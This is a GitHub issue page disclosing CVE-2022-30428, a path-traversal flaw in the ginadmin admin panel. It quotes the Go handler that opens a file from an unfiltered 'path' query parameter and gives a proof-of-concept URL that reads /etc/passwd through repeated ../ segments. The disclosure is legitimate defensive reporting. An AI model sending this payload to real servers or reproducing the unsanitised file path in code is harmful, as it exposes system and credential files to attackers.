CVE-2022-30428: Read Any File Vulnerability · Issue #9 · gphper/ginadmin

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Vulnerability file address

internal/controllers/admin/setting/adminSystemController.go line 135 c.Query(“path”)The incoming path value is not filtered, resulting in arbitrary file reading

filePath := gstrings.JoinStr(configs.RootPath, c.Query("path"))
    fi, err := os.Open(filePath)
    if err != nil {
        con.ErrorHtml(c, err)
        return
    }

POC

http://ip:port/admin/setting/system/view?path=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd

Attack results pictures

gphper added a commit that referenced this issue

May 8, 2022

2 participants